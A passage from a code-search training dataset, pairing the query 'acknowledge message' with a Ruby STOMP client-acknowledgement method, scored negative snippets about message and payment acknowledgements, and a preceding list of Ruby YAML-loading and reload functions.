\t@merged_conf.clear\n\t end\n changed_sections\n rescue Exception => e\n raise e, \"error loading #{file}: #{e.message}\", e.backtrace\n end",
"def reload\n @notifications = current_user.notifications_visible_block 0, SETTINGS['notifications_loaded_together']\n @new_notifications = current_user.number_notifications_not_seen\n @offset_notifications = @notifications.length\n @tot_notifications = current_user.tot_notifications_number\n end",
"def reload!\n reload_name!\n reload_topic!\n reload_aliases!\n true\n end",
"def local_clear_yaml(news_pathname)\n basename = Pathname.new('.').expand_path\n Dir[basename.join(news_pathname).to_s].each do |post|\n yaml = File.read(post)[/\\A---(.|\\n)*?---/]\n File.open(post, 'w') do |file|\n file.puts yaml\n end\n end\nend",
"def load_data\n return false unless File.exist?(@file)\n\n @data = YAML.load_file(@file)\n @data = { :students => [] } unless @data\n @data[:students] = [] unless @data.key?(:students)\n end",
"def loadyaml(filename) YAML.load_file(filename) end",
"def mappings_from_files\n mappings_paths.each_with_object({}) do |path, hash|\n file = \"#{path}.yml\"\n next unless File.exists?(file)\n load_yaml(file).each do |name, data|\n hash[name] = fix_mapping(name, data)\n end\n end\n end",
"def reload!\n @manifests = {}\n @strings_hash = {}\n end",
"def load_from_yaml(file)\n document_lines = File.readlines(file)\n\n headers = document_lines.enum_for(:each_with_index).\n find_all { |line, _| line =~ /^---/ }\n if headers.empty? || headers.first[1] != 0\n headers.unshift [\"--- name:default\", -1]\n end\n\n options = headers.map do |line, line_number|\n line_options = Hash.new\n line = line.chomp\n line.split(/\\s+/)[1..-1].each do |opt|\n if opt =~ /^(\\w+):(.*)$/\n line_options[$1] = $2\n else\n raise ArgumentError, \"#{file}:#{line_number}: wrong format #{opt}, expected option_name:value, where 'value' has no spaces\"\n end\n end\n line_options['merge'] = (line_options['merge'] == 'true')\n line_options['chain'] = (line_options['chain'] || '').split(',')\n [line_options, line_number]\n end\n options[0][0]['name'] ||= 'default'\n\n options.each do |line_options, line_number|\n if !line_options['name']\n raise ArgumentError, \"#{file}:#{line_number}: missing a 'name' option\"\n end\n end\n\n sections = []\n options.each_cons(2) do |(_, line0), (_, line1)|\n sections << document_lines[line0 + 1, line1 - line0 - 1]\n end\n sections << document_lines[options[-1][1] + 1, document_lines.size - options[-1][1] - 1]\n\n changed_sections = []\n @conf_options = options\n\n sections.each_with_index do |doc, idx|\n doc = doc.join(\"\")\n doc = evaluate_dynamic_content(file, doc)\n\n result = YAML.load(StringIO.new(doc))\n\n conf_options = options[idx].first\n name = conf_options.delete('name')\n changed = in_context(\"while loading section #{name} of #{file}\") do\n add(name, result || Hash.new, conf_options)\n end\n\n if changed\n changed_sections << name\n end\n end\n\t if !changed_sections.empty?\n\t \t@merged_conf.clear\n\t end\n changed_sections\n rescue Exception => e\n raise e, \"error loading #{file}: #{e.message}\", e.backtrace\n end",
"def load_resume\n if ( $cache_time.nil? || File.mtime(\"#{Rails.root}/files/resume.yml\") < $cache_time || [$resume].any?(&:nil?) )\n $cache_time = Time.now\n $resume = YAML.load(File.read('files/resume.yml'))\n end\n @resume = $resume\n end",
"def save(filepath)\n File.open(filepath, \"w\") do |f|\n f.write((@proxies + @dead_proxies).to_yaml)\n end\n end",
"def import(file)\n hash = YAML.load file\n raise ArgumentError, \"the YAML file must contain an unique first key representing the locale\" unless hash.keys.count == 1\n\n lang = hash.keys.first\n\n unless lang.to_s == I18n.locale.to_s\n raise ArgumentError, \"the language doesn't match\"\n end\n\n records = parse_hash(hash.first[1], lang)\n transaction do\n records.each do |x|\n if tr = locale(lang).find_by_key(x.key)\n tr.value = x.value\n tr.save!\n else\n x.save!\n end\n end\n end\n end",
"def load_dictionary\n @scrubbed_dict = File.readlines(\"dictionary.txt\")\n puts \"Dictionary loaded\"\n end",
"def load_yml(filename)\n require 'yaml' unless defined? YAML\n data = YAML::load(IO.read(filename))\n data.each {|locale, d| merge_names(locale, d)}\n end",
"def decodemsg(msg)\n YAML.load(msg.payload)\n end",
"def load!(file)\n hash = {}\n YAML.load_file(file).each do |k, v|\n hash[Pathname(k)] = v.map{|vv| Pathname(vv) }\n end\n replace(hash)\n end",
"def simple_yaml_load(file)\n simple_yaml_load1(file).\n map { |k, v| [k, Integer(v)] }\nend",
"def reload!\n $\".grep( /hudkins/ ).each do |f|\n load f\n end\n nil\n end",
"def restore()\n @inihash = Ini.read_from_file(@path)\n @comment = Ini.read_comment_from_file(@path)\n end",
"def restart \n log \"Restarting\"\n puts config.inspect if config[:debug]\n \n @svns = (YAML.load_file config[:svns] rescue {})\n @atoms = (YAML.load_file config[:atoms] rescue {})\n\n @socket.close if @socket\n connect\n listen\n end",
"def load( dirname )\n\t\t\t@filename= File.join( dirname, \"ticket.yaml\" )\n\t\t\t@idstring = File.basename( dirname )[0..7]\n\t\t\tif File.file?( @filename )\n\t\t\t\t@data = YAML.load_file( @filename ) \n\t\t\tend \n\t\t\tloadComments\n\t\t\tloadAttachments\n\t\tend",
"def reload; @data = File.read @path end",
"def load_yaml(filename)\n\t\tpath = File.realpath(filename)\n\t\tdata = YAML.load_file(path)\n\t\tload_hash(data)\n\tend",
"def load_midi_assignments\n File.open(File.join(WORKING_DIR,'MIDIAssignments.xml')) do |file|\n slot_re = Regexp.new('^\\s*<slot num=\"(?<num>\\d+)\" name=\"(?<name>.+)\">{DOCUMENTS}/KemperAmp/Rigs/(?<rig_file>\\k<name> - (?<year>\\d+)-(?<month>\\d+)-(?<day>\\d+) (?<hour>\\d+)-(?<min>\\d+)-(?<sec>\\d+)\\.kipr)</slot>\\s*$')\n while line = file.gets\n # <slot num=\"5\" name=\"Alright\">{DOCUMENTS}/KemperAmp/Rigs/Alright - 2014-07-03 15-21-10.kipr</slot>\n match = slot_re.match(line)\n if match\n @midi[:nums][match['num']] = {\n rig_file: match['rig_file'],\n ts: get_rig_ts(match),\n rig_name: match['name']\n }\n if midi_has_rig?(match['name'])\n @midi[:rigs][match['name']][:midi_num] << match['num']\n else\n @midi[:rigs][match['name']] = {\n rig_file: match['rig_file'],\n ts: get_rig_ts(match),\n midi_num: [match['num']]\n }\n end\n end\n end\n end\n end",
"def load filename\n @filename = File.basename(filename)\n @issue = YAML.load_file(File.join(@dir, @filename))\n end",
"def populate(file, klass)\n yml = YAML.load_file(file)\n yml.each_pair do |key, values|\n obj = klass.new\n values.each_pair do |k, val|\n obj.send((\"#{k}\" + \"=\").to_sym, val) unless val == \"id\"\n end\n obj.save\n end\nend",
"def reload\n @reloaded = true\n restart\n end",
"def reset!\n config[:since_id] = 1\n config[:since_id_reply] = 1\n end",
"def refresh_mailing_list\n emails = MassEmail.all.map{|m|m.email_address}\n File.open(File.join(Rails.root, 'config', 'mailing_list.txt')).each_line do |e|\n e = e.chomp\n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\n\n emails = MassEmail.all.map{|m|m.email_address}\n User.all.map{|u| u.email}.each do |e| \n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\nend",
"def refresh_mailing_list\n emails = MassEmail.all.map{|m|m.email_address}\n File.open(File.join(Rails.root, 'config', 'mailing_list.txt')).each_line do |e|\n e = e.chomp\n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\n\n emails = MassEmail.all.map{|m|m.email_address}\n User.all.map{|u| u.email}.each do |e| \n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\nend",
"def yaml_load\n if File.exist?(yaml_file) && !File.zero?(yaml_file)\n YAML.load_file(yaml_file).sort_by!(&:time).reverse!\n else\n []\n end\n end",
"def fill_from_yaml(yaml)\n fill_from_hash(Psych.load(yaml))\n end",
"def refresh!\n updated_contents = File.read(@path)\n updated_yml = YAML.load(updated_contents)\n\n updated_items = fetch_items(updated_yml)\n original_items = items.flatten\n\n updated_items.flatten.each do |updated_item|\n original_item = original_items.find do |oi|\n oi.full_src == updated_item.full_src\n end\n\n # If this is a new item, we're good\n next if !original_item\n\n # Otherwise, we'll need to see if this file changed\n if !original_item.identical?(updated_item)\n original_item.delete!\n end\n end\n\n @items = updated_items\n\n prepare!\n end",
"def load_state file=nil\n file=App.outpath + \"save.rb\" if file.nil?\n f=File.open(file,'r')\n content=f.read\n # puts content\n App.out= YAML.load(content)\n f.close\nend",
"def file_ids_hash\n if @file_ids_hash.blank?\n # load the file sha's from cache if possible\n cache_file = File.join(self.path,'.loopoff')\n if File.exists?(cache_file)\n @file_ids_hash = YAML.load(File.read(cache_file))\n else\n # build it\n @file_ids_hash = {}\n self.loopoff_file_names.each do |f|\n @file_ids_hash[File.basename(f)] = Grit::GitRuby::Internal::LooseStorage.calculate_sha(File.read(f),'blob')\n end\n # write the cache\n File.open(cache_file,'w') do |f|\n f.puts YAML.dump(@file_ids_hash) \n end\n end \n end\n @file_ids_hash\n end",
"def load_user(filepath)\n $user = load_yaml(filepath)\nend",
"def simple_yaml_load1(file)\n r = []\n File.read(file).split(\"\\n\").each do |line|\n e = line.split(\": \", 2).map(&:strip)\n next if e.size != 2\n r.push(e)\n end\n return r\nend",
"def reload()\n\t\t\tinit(@user.callAPI('push/get', { 'id' => @id }))\n\t\tend",
"def load_module_yaml(file_name)\n\t\tFile.open(file_name) { |file| YAML.load(file) }\n\tend",
"def load_config(file_path)\n file = File.read(File.expand_path(file_path, __FILE__))\n yaml = YAML.load(file)\n \n # set new options\n options.keys.each do |option|\n set_option(option, yaml[option]) if !yaml[option].nil?\n end\n \n # set new settings\n settings.keys.each do |setting|\n set(setting, yaml[setting]) if !yaml[setting].nil?\n end\n end",
"def load_yaml(file)\n require 'yaml'\n tokens = YAML.load_file(file)\n tokens.each do |token, category|\n @db[token] = category\n end\n end",
"def reset_unread_conversations_counter\n unread_count = conversations.unread.count\n if self.unread_conversations_count != unread_count\n self.class.where(:id => id).update_all(:unread_conversations_count => unread_count)\n end\n end"
] |
[
"0.6067601",
"0.55923957",
"0.552981",
"0.53130126",
"0.5267287",
"0.5262154",
"0.5253328",
"0.5194698",
"0.5186023",
"0.5156309",
"0.5147844",
"0.5147844",
"0.5126403",
"0.5110791",
"0.5106194",
"0.5104633",
"0.5100757",
"0.50864136",
"0.50720274",
"0.50593495",
"0.5049124",
"0.50469416",
"0.5042182",
"0.50332445",
"0.50316125",
"0.49919325",
"0.49822608",
"0.49813986",
"0.49336302",
"0.4899671",
"0.4895757",
"0.4894114",
"0.48882443",
"0.48882443",
"0.48882443",
"0.48882443",
"0.48882443",
"0.48882443",
"0.48882443",
"0.48853377",
"0.48781943",
"0.48766357",
"0.48653847",
"0.48599988",
"0.4847152",
"0.48460987",
"0.48428407",
"0.48339874",
"0.4824562",
"0.4824562",
"0.48181683",
"0.48075202",
"0.47938412",
"0.47938412",
"0.47880816",
"0.476303",
"0.4761391",
"0.47554308",
"0.47487313",
"0.47472522",
"0.4742975",
"0.4739038",
"0.4723317",
"0.47145712",
"0.47133058",
"0.47098416",
"0.47049597",
"0.4698903",
"0.46944648",
"0.46881372",
"0.46866077",
"0.46862322",
"0.46837413",
"0.46778423",
"0.46750417",
"0.4668817",
"0.46666706",
"0.4664696",
"0.46638584",
"0.466354",
"0.46575907",
"0.46525288",
"0.46517518",
"0.4640576",
"0.46198574",
"0.46092764",
"0.4605345",
"0.4605345",
"0.4600634",
"0.459759",
"0.45957786",
"0.45951796",
"0.45908016",
"0.45756498",
"0.45735243",
"0.45676276",
"0.45631376",
"0.4557192",
"0.45546198",
"0.4550335"
] |
0.66215736
|
0
|
acknowledge message (if headers["ack"] == "client")
|
def ack(subscription_headers, message)
#p [:ack, message.headers["message-id"]]
if message.headers["message-id"].to_s.strip != "" && subscription_headers["ack"].to_s == "client"
SMQueue.dbg { [:smqueue, :ack, :message, message].inspect }
connection.ack message.headers["message-id"], { }
else
SMQueue.dbg { [:smqueue, :ack, :not_acknowledging, message].inspect }
end
if ENV['PAUSE_SMQUEUE']
$stderr.print "press enter to continue> "
$stderr.flush
$stdin.gets
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ack\n @mq.callback do\n @mq.send Protocol::Basic::Ack.new({ :delivery_tag => @header_obj.properties[:delivery_tag] })\n end\n end",
"def acknowledge(authcode = nil)\n true\n end",
"def ack(msg_info)\n end",
"def send_ack\n sock.put('+')\n vprint_status('Sending ack...')\n end",
"def acknowledge(authcode = nil)\n return false if security_key.blank?\n if ins_message?\n Digest::MD5.hexdigest(\"#{ transaction_id }#{ params['vendor_id'] }#{ invoice_id }#{ secret }\").upcase == security_key.upcase\n elsif passback?\n order_number = params['demo'] == 'Y' ? 1 : params['order_number']\n Digest::MD5.hexdigest(\"#{ secret }#{ params['sid'] }#{ order_number }#{ gross }\").upcase == params['key'].upcase\n else\n false\n end\n end",
"def acknowledge( message )\n open_msg = @open_messages.delete( message.key )\n raise Qup::Error, \"Message #{message.key} is not currently being consumed\" unless open_msg\n @client.close( @name )\n end",
"def hsdq_send_ack(message)\n hsdq_send(message.merge(type: :ack))\n end",
"def acknowledge\n api_call(\"acknowledge\")\n self\n end",
"def acknowledge\n payload = @raw\n noti_confirm = Alipay.notification_confirmation_url\n noti_confirm += (\"partner=\" + Alipay::ACCOUNT.to_s + \"¬ify_id=\" + notify_id)\n PAYMENT_LOG.info \"===============acknowledge init by jumaimai ============\"\n PAYMENT_LOG.info noti_confirm \n uri = URI.parse(noti_confirm)\n result = Net::HTTP.get(uri)\n PAYMENT_LOG.info \"---------acknowledge result #{result} ----------------\"\n result == \"true\"\n end",
"def ack=(ack)\n raise 'Invalid ack flag. true or false expected' unless\n [true, false].include? ack\n @message[:ack] = ack\n end",
"def acknowledge( message )\n @queue.acknowledge( message )\n end",
"def acknowledge_response(response)\n id = response['message-response-id']\n http.delete(api_base_uri.path + \"/messages/#{id}\")\n end",
"def acked?; all_status?(:ack); end",
"def acknowledge()\n\t\tend",
"def ack(opts={})\n\t\t\t# Set delivery tag\n\t\t\tdelivery_tag = opts.delete(:delivery_tag)\n\t\t\tdelivery_tag ||= self.delivery_tag\n\t\t\traise Bunny::AcknowledgementError, \"No delivery tag received\" unless delivery_tag\n\t\t\t\n client.send_frame(\n Qrack::Protocol09::Basic::Ack.new({:delivery_tag => delivery_tag, :multiple => false}.merge(opts))\n )\n\n\t\t\t# reset delivery tag\n\t\t\tself.delivery_tag = nil if self.delivery_tag == delivery_tag\n end",
"def test_client_ack_with_symbol_11\n if @conn.protocol != Stomp::SPL_11\n assert true\n return\n end\n sid = @conn.uuid()\n queue = make_destination()\n @conn.subscribe queue, :ack => :client, :id => sid\n @conn.publish queue, \"test_stomp#test_client_ack_with_symbol_11\"\n msg = @conn.receive\n assert_nothing_raised {\n # ACK has two REQUIRED headers: message-id, which MUST contain a value \n # matching the message-id for the MESSAGE being acknowledged and \n # subscription, which MUST be set to match the value of the subscription's \n # id header.\n @conn.ack msg.headers['message-id'], :subscription => msg.headers['subscription']\n }\n checkEmsg(@conn)\n end",
"def acknowledge(authcode = nil)\n verified?\n end",
"def acknowledge\n # do nothing\n end",
"def test_client_ack_with_symbol_12\n if @conn.protocol != Stomp::SPL_12\n assert true\n return\n end\n sid = @conn.uuid()\n queue = make_destination()\n @conn.subscribe queue, :ack => :client, :id => sid\n @conn.publish queue, \"test_stomp#test_client_ack_with_symbol_11\"\n msg = @conn.receive\n assert_nothing_raised {\n # The ACK frame MUST include an id header matching the ack header \n # of the MESSAGE being acknowledged.\n @conn.ack msg.headers['ack']\n }\n checkEmsg(@conn)\n end",
"def ack_message(adapter, queue_url, msg)\n adapter.sqs_client.delete_message(\n queue_url: queue_url, receipt_handle: msg.receipt_handle\n )\n end",
"def acknowledge_alert(alert_id, by = nil, comment = nil)\n sub_url = \"/ack/#{alert_id}\"\n query = generate_query_params 'ackBy' => by, 'ackNotes' => comment\n sub_url += query\n http_put(sub_url, {})\n\n true\n end",
"def acknowledge(authcode = nil)\n payload = raw\n\n uri = URI.parse(<%= class_name %>.notification_confirmation_url)\n\n request = Net::HTTP::Post.new(uri.path)\n\n request['Content-Length'] = \"#{payload.size}\"\n request['User-Agent'] = \"Active Merchant -- http://activemerchant.org/\"\n request['Content-Type'] = \"application/x-www-form-urlencoded\"\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @ssl_strict\n http.use_ssl = true\n\n response = http.request(request, payload)\n\n # Replace with the appropriate codes\n raise StandardError.new(\"Faulty <%= class_name %> result: #{response.body}\") unless [\"AUTHORISED\", \"DECLINED\"].include?(response.body)\n response.body == \"AUTHORISED\"\n end",
"def acknowledge\n attrs = {\n :acknowledged => true,\n :acknowledged_at => Time.now()\n }\n self.update_attributes(attrs)\n end",
"def acknowledge(authcode = nil)\n string = [params['_raw_action'],\n params['_raw_orderSumAmount'],\n params['_raw_orderSumCurrencyPaycash'],\n params['_raw_orderSumBankPaycash'],\n params['_raw_shopId'],\n params['_raw_invoiceId'],\n params['_raw_customerNumber'],\n authcode\n ].join(';')\n\n digest = Digest::MD5.hexdigest(string)\n res = params['_raw_md5'] == digest.upcase\n if res\n @response_code = '0'\n else\n @response_code = '1'\n end\n end",
"def ack\n unless acked?\n @acked = true\n @connection.future(:ack, delivery_info.delivery_tag).value\n end\n end",
"def ack(multiple = false)\n @channel.acknowledge(@method.delivery_tag, multiple)\n end",
"def test_client_ack_with_symbol_10\n if @conn.protocol != Stomp::SPL_10\n assert true\n return\n end\n queue = make_destination()\n @conn.subscribe queue, :ack => :client\n @conn.publish queue, \"test_stomp#test_client_ack_with_symbol_10\"\n msg = @conn.receive\n assert_nothing_raised {\n # ACK has one required header, message-id, which must contain a value \n # matching the message-id for the MESSAGE being acknowledged.\n @conn.ack msg.headers['message-id']\n }\n checkEmsg(@conn)\n end",
"def hsdq_ack(message, context); placeholder; end",
"def ack(opts = {})\n # Set delivery tag\n if delivery_tag.nil? and opts[:delivery_tag].nil?\n raise Bunny::AcknowledgementError, \"No delivery tag received\"\n else\n self.delivery_tag = opts[:delivery_tag] if delivery_tag.nil?\n end\n\n opts = {:delivery_tag => delivery_tag, :multiple => false}.merge(opts)\n\n client.send_frame(Qrack::Protocol::Basic::Ack.new(opts))\n\n # reset delivery tag\n self.delivery_tag = nil\n end",
"def confirm_ack(conn, seq)\r\n return unless @queue[conn.user.id]\r\n @queue[conn.user.id].delete_if {|x| x[:seq] == seq}\r\n conn.empty_response\r\n end",
"def send_topic_acknowledge(msg, headers, timeout=60)\n #m=StompMessage::Message.new('stomp_BILLING', msg)\n open_connection\n s=rand*30 # scott - used to be 1000 but seem to create connections on activemq\n # open new topic to listen to reply...\n # was this but jms seems to blow up receipt_topic=\"/topic/receipt/client#{s.to_i}\"\n receipt_topic=\"/topic/rcpt_client#{s.to_i}\"\n receipt_flag = false\n # internal_conn = Stomp::Connection.open '', '', self.host, self.port, false \n self.conn.subscribe( receipt_topic, { :ack =>\"client\" }) {|msg|\n begin\n Timeout::timeout(timeout) {\n self.conn.acknowledge(msg,msg.headers)\n \t msg2= msg.body\n \t yield msg2\n }\n rescue Exception => e\n puts \"exception #{e.message}\"\n # raise \"timeout\" \n ensure\n receipt_flag=true\n self.conn.unsubscribe receipt_topic \n end \n }\n \n \n more_headers= {'persistent'=>'false', 'reply-to' => \"#{receipt_topic}\" }\n more_headers.merge headers\n self.conn.send(self.topic, msg.to_xml, more_headers ) \n Thread.new { sleep(timeout+1)\n puts \"calling unsubscribe on #{receipt_topic}\" if !receipt_flag\n self.conn.unsubscribe receipt_topic if !receipt_flag\n } \n end",
"def ack msgid\n send_frame \"ACK\", 'message-id'=> msgid\n end",
"def ack_frame *args\n create_ack_or_nack 'ACK', args\n end",
"def ack_message( tag, success, try_again=true )\n\t\treturn unless self.acknowledge\n\n\t\tchannel = self.consumer.channel\n\n\t\tif success\n\t\t\tself.log.debug \"ACKing message %s\" % [ tag ]\n\t\t\tchannel.acknowledge( tag )\n\t\telse\n\t\t\tself.log.debug \"NACKing message %s %s retry\" % [ tag, try_again ? 'with' : 'without' ]\n\t\t\tchannel.reject( tag, try_again )\n\t\tend\n\n\t\treturn success\n\tend",
"def ack?\n Capp::TCP_ACK == flags & Capp::TCP_ACK\n end",
"def acknowledge(authcode)\n return_authcode = [params[\"ORDER_NUMBER\"], params[\"TIMESTAMP\"], params[\"PAID\"], params[\"METHOD\"], authcode].join(\"|\")\n Digest::MD5.hexdigest(return_authcode).upcase == params[\"RETURN_AUTHCODE\"]\n end",
"def acknowledge_message(poller, msg)\n poller.delete_message(msg)\n end",
"def acknowledge(authcode = nil)\n (security_key == generate_signature(authcode))\n end",
"def ack(device_uuid, ack_keys)\n validate_device!(device_uuid)\n raise ArgumentError, \"ack_keys must not be nil and an array\" unless ack_keys && ack_keys.is_a?(Array)\n return true if ack_keys.empty?\n\n payload = {\n :ack_keys => ack_keys.map(&:to_s)\n }\n status, _, _ = @client.post('/sync/ack', payload, build_headers(device_uuid))\n status == 202\n end",
"def ack(msg)\n return unless msg.sub\n msg.sub.synchronize do\n ack_proto = STAN::Protocol::Ack.new({\n subject: msg.proto.subject,\n sequence: msg.proto.sequence\n }).to_proto\n nats.publish(msg.sub.ack_inbox, ack_proto)\n end\n end",
"def acknowledge subscription, *ack_ids\n subscriber.acknowledge subscription: subscription_path(subscription), ack_ids: ack_ids\n end",
"def acknowledge(info, &callback)\n EM.defer {\n @sqs.delete_message(\n queue_url: @settings[:consuming_sqs_queue_url],\n receipt_handle: info.receipt_handle,\n )\n statsd_incr(\"sqs.#{@settings[:consuming_sqs_queue_url]}.message.deleted\")\n callback.call(info) if callback\n }\n end",
"def acknowledge(delivery_tag)\n @channel.acknowledge(delivery_tag)\n\n self\n end",
"def acknowledge\n verify? params, KEY\n end",
"def acknowledge\n verify? params, KEY\n end",
"def acknowledge(incident_key, description=nil, details=nil)\n request 'service_key' => service_key,\n 'event_type' => 'acknowledge',\n 'incident_key' => incident_key,\n 'description' => description,\n 'details' => details\n end",
"def send_ack(spark)\n return unless ['request', :request].include? spark[:type]\n ack_msg = spark.merge sent_to: spark[:sender], sender: channel\n hsdq_send_ack ack_msg\n end",
"def acknowledge\n if params['paymentState'] == 'SUCCESS'\n p = params.clone\n p['secret'] = @options[:secret]\n md5digest = Digest::MD5.hexdigest(p['responseFingerprintOrder'].split(',').map { |key| p[key] }.join)\n\n md5digest == params['responseFingerprint']\n else\n true\n end\n end",
"def acknowledge( events = [], message = \"#{@parent.whoami} is working on this.\" )\n request = { 'method' => 'event.acknowledge', 'params' => { 'eventids' => events, 'message' => message } }\n call_api(request)\n end",
"def ack_block(cid)\n ws = @ws\n lambda do |error, data|\n ws.send(get_ack_object(error, data, cid))\n end\n end",
"def acknowledge_notification\n authorize current_user\n @notification = Notification.find(notification_params[:notification_id])\n current_user.acknowledge(@notification)\n render body: nil\n end",
"def ack_mine(response)\n email = fetch_user(response.user)\n return response.reply(t('identify.missing')) unless email\n incidents = fetch_my_incidents(email)\n return response.reply(t('incident.none_mine')) unless incidents.count > 0\n completed = []\n incidents.each do |incident|\n result = acknowledge_incident(incident.id)\n completed.push(incident.id) if result == \"#{incident.id}: Incident acknowledged\"\n response.reply(t('all.acknowledged', list: completed.join(', ')))\n end\n end",
"def acknowledge(notification)\n notifications << notification if notification.dismissable?\n end",
"def notify_acknowledgement\n # message = sender_activity.decorate.activity_message\n # logger.info \"Preparing to send acknowledgment push notification of #{ message } to sender: #{ sender.id }\"\n #\n # sender.devices.each do |device|\n # device.notify message\n # end\n end",
"def acknowledge(delivery_tag)\n @channel.acknowledge(delivery_tag)\n\n self\n end",
"def nack_message(adapter, queue_url, msg)\n adapter.sqs_client.change_message_visibility(\n queue_url: queue_url,\n receipt_handle: msg.receipt_handle,\n visibility_timeout: NACK_VISIBILITY_TIMEOUT\n )\n rescue StandardError => e\n Mimi::Messaging.logger&.error(\n \"#{self.class}: failed to NACK message from: #{queue_url},\" \\\n \" error: (#{e.class}) #{e}\"\n )\n # NOTE: error is recovered and the message is neither ACKed or NACKed\n end",
"def set_acknowledge_as_no\n self.acknowledge = 'No'\n end",
"def on_message_ack(&handler)\n @on_message_ack_handler = handler\n end",
"def ack?\n filename.downcase.start_with?(\"ack\")\n end",
"def acknowledge_wire(options = {})\n response = JSON.parse(@client.patch(\"items/#{send(:id)}/acknowledge_wire\", options).body)\n @attributes = response['items']\n true\n end",
"def acknowledge_wire(options = {})\n response = JSON.parse(@client.patch(\"items/#{send(:id)}/acknowledge_wire\", options).body)\n @attributes = response['items']\n true\n end",
"def req_ack(clk_e,req,ack,port)\n rst_req_ack(clk_e,nil,req,ack,port)\n end",
"def acknowledge\n if complete?\n p = params.clone\n return_md5_check_fields = [ :ORDER_NUMBER, :TIMESTAMP, :PAID, :METHOD ]\n aggregated_fields = ( return_md5_check_fields.map { |key| p[key.to_s] } + [ @options[:secret] ]).join('|')\n md5digest = Digest::MD5.hexdigest(aggregated_fields).upcase\n\n md5digest == params['RETURN_AUTHCODE']\n else\n true\n end\n end",
"def ack!\n @manager.ack(self)\n self\n end",
"def acknowledge\n if current_user\n if current_user.notifications_seen.nil?\n current_user.notifications_seen = [params[:notif_id]]\n else\n current_user.notifications_seen << params[:notif_id]\n end\n current_user.save\n end\n head 200, content_type: \"text/html\"\n end",
"def acknowledge(enquiry)\n @enquiry = enquiry\n\n mail :to => enquiry.email, :subject => \"B&B availability request for Bull Farm Oast\"\n end",
"def on_verack\n log.debug { \">> verack\" }\n complete_handshake if outgoing?\n end",
"def resend_pending_message_ack_queue\n connection.__pending_message_ack_queue__.delete_if do |protocol_message|\n if protocol_message.ack_required?\n connection.__outgoing_message_queue__ << protocol_message\n connection.__outgoing_protocol_msgbus__.publish :protocol_message\n true\n end\n end\n end",
"def acknowledge\n @mutex.synchronize do\n return if @requeued || @acked\n\n Sidekiq.redis do |redis|\n redis.lrem(@queue.inproc, -1, @job)\n end\n\n @acked = true\n end\n end",
"def autoresponse?(message)\n !!(\n # If any of the following headers are present and have the given value.\n {\n 'Delivered-To' => 'Autoresponder',\n 'Precedence' => 'auto_reply',\n 'Return-Path' => nil, # in most cases, this would signify a bounce\n 'X-Autoreply' => 'yes',\n 'X-FC-MachineGenerated' => 'true',\n 'X-POST-MessageClass' => '9; Autoresponder',\n 'X-Precedence' => 'auto_reply',\n }.find do |name,value|\n message[name] && message[name].decoded == value\n end ||\n # If any of the following headers are present.\n [\n 'X-Autogenerated', # value is one of Forward, Group, Letter, Mirror, Redirect or Reply\n 'X-AutoReply-From', # value is an email address\n 'X-Autorespond', # value is an email subject\n 'X-Mail-Autoreply', # value is often \"dtc-autoreply\" but can be another tag\n ].any? do |name|\n message[name]\n end ||\n # If the Auto-Submitted header is present and is not equal to \"no\".\n (\n message['Auto-Submitted'] &&\n message['Auto-Submitted'].decoded != 'no'\n ) ||\n # If the message subject matches the autoresponse pattern.\n (\n MultiMail.autoresponse_pattern &&\n message.subject &&\n message.subject[MultiMail.autoresponse_pattern]\n )\n )\n end",
"def confirm(message)\n begin\n unless(consumer.confirm(message[:message]))\n error \"Failed to confirm payload from source! (#{e})\"\n false\n else\n true\n end\n rescue Krakow::Error::LookupFailed => e\n error \"Failed to confirm payload from source! (#{e})\"\n false\n end\n end",
"def test_acknowledgement\n valid = Netgiro.notification(http_raw_data, :credential2 => 'password')\n assert valid.acknowledge\n assert valid.success?\n assert valid.complete?\n \n invalid = Netgiro.notification(http_raw_data, :credential2 => 'bogus')\n assert !invalid.acknowledge\n assert !invalid.success?\n assert !invalid.complete?\n end",
"def acknowledge_message(token, channel_id, message_id)\n request(\n __method__,\n :post,\n \"#{api_base}/channels/#{channel_id}/messages/#{message_id}/ack\",\n nil,\n Authorization: token\n )\n end",
"def acknowledge_message(token, channel_id, message_id)\n request(\n __method__,\n :post,\n \"#{api_base}/channels/#{channel_id}/messages/#{message_id}/ack\",\n nil,\n Authorization: token\n )\n end",
"def done!(delivery_info)\n channel.ack(delivery_info.delivery_tag) if manual_ack?\n end",
"def replyWithAck?(pduPacket)\n\n Utils_visiona.verifyInput(CFDP::PDUPacket, pduPacket.class)\n return unless isclass2?\n\n status = (@finishType.nil? ? 1 : 2)\n sourceID = MYID\n destinationID = DESTINATIONID\n direction = 0\n\n # This is a received PDU.\n case pduPacket.pduPayload\n when CFDP::PDUEOF\n \n # I only receive EOF packets in DOWNLINK events\n return unless @type.eql?(\"DOWNLINK\")\n direction = 1\n sourceID = destinationID\n destinationID = MYID\n when CFDP::PDUFinished\n\n # I only receive FINISHED packets in UPLINK events\n return unless @type.eql?(\"UPLINK\")\n # use default values from function start\n else\n return\n end\n\n ackPdu = CFDP.generatePDU(\"ACK\", directiveCode:pduPacket.pduPayload.class.class_variable_get(:@@fdCode),\n directiveSubtypeCode:0, conditionCode:pduPacket.pduPayload.conditionCode, transactionStatus:status,\n direction:direction, transmissionMode:0, sourceID:sourceID, destinationID:destinationID,\n sequenceNumber:pduPacket.pduHeader.sequenceNumber)\n\n writeLog(\"Generated ACK PDU: #{ackPdu.pack.to_s}\")\n CFDP::CFDPEngine.instance.insertIntoBuffer(ackPdu)\n end",
"def subscribeack(channel, ack)\n @ws.send(get_subscribe_object(channel, increment_cnt).to_json)\n @channels << channel\n @acks[@cnt] = [channel, ack]\n end",
"def handle_heartbeat_ack(_payload)\n @heartbeat_acked = true\n end",
"def emitack(event, object, ack)\n @ws.send(get_emit_ack_object(event, object, increment_cnt).to_json)\n @acks[@cnt] = [event, ack]\n end",
